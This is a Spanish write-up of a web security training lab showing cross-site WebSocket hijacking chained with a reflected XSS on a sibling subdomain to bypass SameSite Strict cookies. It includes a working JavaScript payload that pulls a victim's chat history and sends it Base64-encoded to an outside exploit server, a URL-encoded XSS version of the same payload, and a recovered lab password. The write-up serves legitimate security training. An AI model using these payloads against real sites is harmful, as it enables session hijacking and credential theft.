Descripción
This lab’s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim’s account.
To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim’s chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
If you haven’t done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.
SameSite Strict bypass via sibling domain writeup
Debido a la complejidad del laboratorio lo dividiremos en varias partes:
Determinar la funcionalidad vulnerable
Entraremos al laboratorio y veremos que tiene disponible la opción de ‘Live chat’. Al probar, veremos que los mensajes están enlazados con la cookie de sesión, que tiene el atributo ‘SameSite’ a ‘Strict’:
Entonces, tendremos que crear un script que nos permita obtener los mensajes del usuario víctima. Para ver cómo conseguirlos actualizamos la página, vemos que nos carga nuestros mensajes anteriores. Vamos ahora a Burp Suite, a ‘Proxy’ y ‘WebSockets history’. Encontraremos ahí un mensaje ‘READY’ al servidor. Nos llevamos este mensaje al ‘Repeater’ con Ctrl + R y vemos que al enviarlo nos devuelve todos los mensajes:
Tendremos que hacer que el usuario envíe un mensaje ‘READY’ al endpoint y nos mande el resultado al ‘Exploit server’.
Nota: Esto es posible debido a que la petición no emplea en el ‘READY’ un token CSRF impredecible.
Ataque sin Sibling domain
Encontramos el JavaScript que abre y carga los mensajes:
Lo modificaremos de la siguiente forma para que nos lo envíe al ‘Exploit server’:
<script>
var webSocket = new WebSocket("wss://0ac6007a04fff25180bf495100bf0040.web-security-academy.net/chat");
webSocket.onopen = function (evt) {
webSocket.send("READY");
}
webSocket.onmessage = function (evt){
fetch("https://exploit-0a68008b0402f2fc80b1482701bf0049.exploit-server.net/exploit?log=" + btoa(evt.data))
}
</script>Este script se encargará de enviar al endpoint del WebSocket «READY» cuando se abra y de codificar todos los mensajes a Base64, añadirlos a la URL y enviarlos al log del exploit server. Si ahora accedermos al log veremos lo siguiente:
Al decodificarlo en el ‘Decoder’ de Burp Suite, encontraremos lo siguiente:
No se han enviado los mensajes debido a la restricción de la cookie.
Ataque con Sibling domain
Para poder enviar los mensajes, a ellos se tiene que acceder desde el mismo dominio y, desde ahí, enviarlos a nuestro server. Tendremos que encontrar dos lugares en la página:
- Un lugar donde realizar un XSS que redirija a la víctima a la página preparada donde se carguen y envíen los mensajes, en este caso será el ‘Exploit server’.
- Un lugar dentro de la propia página, vulnerable a XSS, donde cargar y enviar los mensajes al ‘Exploit server’.
Al explorar el archivo JS del chat, la petición tenía una propiedad interesante:
Esto permite a la página ‘https://cms-0ac6007a04fff25180bf495100bf0040.web-security-academy.net’ acceder al recurso JavaScript.
Si accedemos a la página, veremos que sólo tiene un formulario:
Y que al introducir un nombre de usuario, lo muestra por pantalla, pudiendo ser vulnerable a XSS. Nos llevaremos la petición de enviar el formulario al ‘Repeater’. Allí cambiaremos le método a GET con Click derecho -> Change request method (para poder hacer un XSS reflejado), y codificaremos como URL en el ‘Decoder’ todo el script anterior, añadiéndolo al valor de ‘username’:
Vemos que funciona, ahora modificaremos el script del ‘Exploit server’ tal que así:
<script>
document.location = "https://cms-0ac6007a04fff25180bf495100bf0040.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%22%77%73%73%3a%2f%2f%30%61%63%36%30%30%37%61%30%34%66%66%66%32%35%31%38%30%62%66%34%39%35%31%30%30%62%66%30%30%34%30%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%22%29%3b%0a%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%20%7b%0a%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%7d%0a%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%7b%0a%20%66%65%74%63%68%28%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%38%30%30%38%62%30%34%30%32%66%32%66%63%38%30%62%31%34%38%32%37%30%31%62%66%30%30%34%39%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6c%6f%67%3d%22%20%2b%20%62%74%6f%61%28%65%76%74%2e%64%61%74%61%29%29%0a%7d%0a%3c%2f%73%63%72%69%70%74%3e&password=t";
</script>Lo almacenaremos, pulsaremos en ‘Deliver exploit to victim’ y veremos en el log lo siguiente:
Nota: La operación tardará medio minuto.
Ahora, tomaremos únicamente el valor de ‘/log’ y lo decodificaremos de Base64, obteniendo la contraseña del usuario carlos:
Iremos al laboratorio, a ‘My account’ e iniciaremos sesión con el usuario ‘carlos’ y la contraseña ‘4gtqqxhspz2vgez5yaaf’, completando así el laboratorio:
